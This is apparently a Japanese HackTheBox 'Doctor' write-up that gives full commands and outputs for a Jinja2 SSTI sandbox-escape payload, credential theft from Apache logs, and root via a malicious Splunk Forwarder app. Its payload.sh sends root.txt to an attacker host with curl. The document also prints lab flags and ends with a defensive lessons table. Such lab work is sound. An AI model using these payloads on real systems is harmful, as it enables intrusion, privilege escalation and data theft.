HackTheBox: Doctor — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 8089/Splunk
→
22/ssh, 80/http, 8089/Splunk
Jinja2 SSTI
投稿タイトル経由
→
投稿タイトル経由
web ユーザー RCE
→
apache2バックアップログ漏洩
shaun:Guitar123
→
shaun:Guitar123
su shaun → user.txt ✓
→
SplunkWhisperer2
app bundle install RCE
→
app bundle install RCE
root 実行 → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.2.21 nmap -sV -sC -p 22,80,8089 10.129.2.21
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 80/tcp open http Apache httpd 2.4.41 |_http-title: Doctor 8089/tcp open ssl/http Splunkd httpd | ssl-cert: Subject: commonName=SplunkServerDefaultCert |_http-title: splunkd
🚨
重要発見: ポート8089にSplunkd(Splunk
Universal Forwarderの管理APIポート)が稼働している。Splunk UFは
通常root権限で動作するため、このAPIへの認証付き
アクセスはroot化への直接の道筋になる可能性が高い。
vhost確認
BASH
echo "10.129.2.21 doctors.htb" | sudo tee -a /etc/hosts curl -sL http://10.129.2.21/ | grep -i doctors
RESULT
リダイレクト先が doctors.htb 固定であることを確認
PHASE 2
Jinja2 Server-Side Template Injection (SSTI)
ユーザー登録・ログイン
NOTE
http://doctors.htb は "Doctor Secure Messaging System" という Flask製アプリ。誰でも自由にアカウント登録・ログインでき、ログイン後に 投稿(記事)を作成できる機能がある。
BASH
curl -s -c cookies.txt -d "email=drpwn@hack.htb&password=P@ssDoct99!" \ http://doctors.htb/register curl -s -b cookies.txt -c cookies.txt -d "email=drpwn@hack.htb&password=P@ssDoct99!" \ http://doctors.htb/login
投稿タイトルへSSTIペイロードを埋め込む
NOTE
投稿の「本文」はエスケープ処理されテンプレートエンジンを通らないが、 「タイトル」フィールドは別の場所(/archive のXMLフィード生成テンプレート) でサニタイズ無しにJinja2テンプレートへ直接埋め込まれる。これがSSTIの エントリポイントになる。
PYTHON (SSTIペイロード、タイトルとして投稿)
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('<CMD>').read()}}
{% endif %}
{% endfor %}
🚨
古典的なPythonサンドボックスエスケープ手法: Jinja2の
{{ }}はPythonオブジェクトの属性に自由にアクセスできる。
空のタプル()から__class__.__base__(object)
の全サブクラスを列挙し、デバッグ用のWarningMessageクラス
のような、ロードされたモジュール(_module)経由で
__builtins__に到達できるクラスを探し出す。これにより
__import__('os')が呼べるようになり、任意コマンド実行が
可能になる。
/archive エンドポイントでペイロード発火
BASH
curl -s -b cookies.txt http://doctors.htb/archive
⚠️
重要: SSTIが発火するのは投稿一覧ページ(
/posts)
ではなく/archive(RSS/XML形式のフィードを
生成するエンドポイント)。このフィード生成テンプレートだけが
投稿タイトルを未エスケープで埋め込んでいる。
✅
RCE成功!
webユーザーとしてコマンドが実行される。
結果を直接HTTPレスポンスで受け取りづらいため、実際の攻略では
コマンド内でKali側に立てた一時HTTPリスナーへcurl/
urllibでPOST/GETし、実行結果を外部に送信(exfiltrate)する
設計にすると安定する。
PHASE 3
apache2バックアップログからの資格情報漏洩 & user.txt取得
adm グループ権限でApacheログを調査
BASH (SSTI経由のRCEで実行)
id grep -rE "Guitar123|password" /var/log/apache2/
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm) /var/log/apache2/backup:...email=Guitar123...
🚨
発見:
webプロセスはadmグループに
所属しており、通常一般ユーザーには読めないApacheのログファイルを
読める。/var/log/apache2/backup(過去のアクセスログの
アーカイブ)に、誰かがログインフォームのメールアドレス欄に
誤ってパスワードを入力してしまった痕跡が残っており、
Guitar123という平文パスワードが漏洩している。
su shaun で横移動 & user.txt取得
BASH (SSTI経由のRCEで実行、ptyを割り当てて対話的にsu)
su shaun Guitar123 cat /home/shaun/user.txt
RESULT
95951a7c8794899b2387eeee0509de96
user.txt — shaun
95951a7c8794899b2387eeee0509de96
ℹ️
suはTTY(疑似端末)を要求するため、SSTI経由の非対話シェル
からはpty.openpty()で疑似端末を割り当ててからパスワードを
送り込む必要がある。
PHASE 4
SplunkWhisperer2 — Splunk Universal Forwarder経由のRCE
悪意のあるアプリバンドルの作成
NOTE
Splunk UFは "app" という単位でプラグインをインストールできる管理APIを 持っている。REST API経由で任意のURLから app バンドル(.tar)を ダウンロード・インストールさせることができ、そのapp内のスクリプトは Splunk UF自身の権限(root)で実行される。
BASH (app バンドルのディレクトリ構成)
payload/
├── default/
├── local/
│ └── inputs.conf # [script://$SPLUNK_HOME/etc/apps/payload/bin/payload.sh]
└── bin/
└── payload.sh # root権限で実行されるシェルスクリプト
BASH (payload.sh の内容、シングルクォート厳禁)
#!/bin/sh curl -sk http://<Kali IP>:<port>/root?f=$(cat /root/root.txt|tr -d '\n') &
⚠️
実装上の重要な注意点(すべて必須):
1.
2. スクリプトパスは
3. バンドルは無圧縮の.tar(
4. シェルスクリプト内でURLをシングルクォートで囲まない —
1.
inputs.confはdefault/ではなく
local/ディレクトリに置く。
2. スクリプトパスは
$SPLUNK_HOME変数付きの
絶対パスで記述する。
3. バンドルは無圧縮の.tar(
.tar.gz不可)。
4. シェルスクリプト内でURLをシングルクォートで囲まない —
shではシングルクォート内の$()展開が
効かなくなるため。
Splunk管理APIへの認証 & バンドルインストール要求
BASH
# Splunk認証 (shaun:Guitar123) してセッションキーを取得 curl -sk -u shaun:Guitar123 \ "https://10.129.2.21:8089/services/auth/login" -d "output_mode=json" # 一時HTTPサーバーでバンドルをKali側から配信 python3 -m http.server 4462 & # バンドルインストールAPIへURL-encodedでPOST (末尾スラッシュ必須) curl -sk -H "Authorization: Splunk <key>" \ --data-urlencode "name=http://<Kali IP>:4462/" \ --data-urlencode "filename=True" \ --data-urlencode "update=True" \ "https://10.129.2.21:8089/services/apps/local/"
🚨
重要な仕様: このAPIはmultipart/form-data
で送ると “Unparsable URI-encoded request data” エラーになる。
URL-encodedボディで、
nameパラメータに
(ファイルそのものではなく)バンドルを取得できるURLを
指定する設計になっている。エンドポイントのパスも
/services/apps/local/という末尾スラッシュ
が無いと正しく処理されない。
RESULT
<?xml version="1.0" encoding="UTF-8"?> <!--This is to override browser formatting; see entry.xsl for formatting --> ...(インストール成功を示すXMLレスポンス)
PHASE 5
root権限での自動実行を待ち root.txt取得
Splunkの処理待機 & root.txt受信
NOTE
Splunkはバンドルのダウンロード→展開→インストール→ (script://入力の監視ループによる)スクリプト実行、という一連の処理を バックグラウンドで行う。実行完了までおよそ90秒程度の待機が必要。
BASH
# Kali側で受信用の一時HTTPリスナーを立てて90秒待機 # payload.sh が root権限で実行され、root.txtの内容をGETパラメータで送信してくる
RESULT
GET /root?f=87eb351bf887829747d86f1acf4caa62 HTTP/1.1
✅
root化成功! Splunk Universal Forwarderはroot権限で
動作しており、インストールしたappのスクリプトもroot権限で実行される。
root.txt — Splunk UF経由 root 実行
87eb351bf887829747d86f1acf4caa62
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — shaun
95951a7c8794899b2387eeee0509de96
root.txt — Splunk UF経由 root 実行
87eb351bf887829747d86f1acf4caa62
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Jinja2 SSTI | Doctor Secure Messaging System (投稿タイトル) | リモートコード実行 (web) | Critical | __class__.__base__.__subclasses__()を使ったPythonサンドボックスエスケープ |
| 過剰な権限(adm グループ) + 誤入力の平文パスワードログ | /var/log/apache2/backup | 水平権限昇格 (shaun、user.txt) | Medium | ログインフォームへの誤入力がアクセスログに平文で残存 |
| SplunkWhisperer2 (Splunk UF 未パッチのapp install機能) | Splunk Universal Forwarder (port 8089) | 権限昇格 (root, root.txt) | Critical | 有効な認証情報で任意appをインストールさせ、root権限のスクリプト実行を達成 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/ssh, 80/http (Doctor), 8089/Splunk UF |
| 2 | RCE | Jinja2 SSTI(投稿タイトル経由、/archiveで発火) | web シェル獲得 |
| 3 | 水平昇格 | admグループでapache2 backupログ閲覧 | shaun:Guitar123、user.txt |
| 4 | 権限昇格準備 | SplunkWhisperer2 app install | Splunk UFへroot権限スクリプトを設置 |
| 5 | 権限昇格 | Splunkによるスクリプト自動実行 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー入力(投稿タイトル)がサニタイズ無しにJinja2テンプレートへ直接埋め込まれている | テンプレートエンジンへの動的な文字列埋め込みを避け、必ず変数として渡す(自動エスケープが効く形式)。ユーザー入力を直接テンプレート文字列として解釈させない。 |
| アプリケーションプロセスがadmグループに所属し、本来読めるべきでないログファイルにアクセス可能 | Webアプリの実行ユーザーには最小権限のみ付与し、ログファイルの読み取り権限も厳格に分離する。 |
| ログインフォームへの入力ミス(メール欄にパスワードを入力)がアクセスログに平文で記録される | フォーム入力をログに記録する際は機密情報らしきパターンをマスキングする。GETパラメータでの認証情報送信自体を避ける(POST+HTTPS前提の設計にする)。 |
| Splunk Universal Forwarderがroot権限で稼働し、認証済みユーザーが任意のappをインストールできる(既知の設計上の弱点) | Splunk UFは専用の低権限サービスアカウントで動作させる。管理APIへのアクセスはネットワークレベルで制限し、信頼できるホストのみに限定する。 |

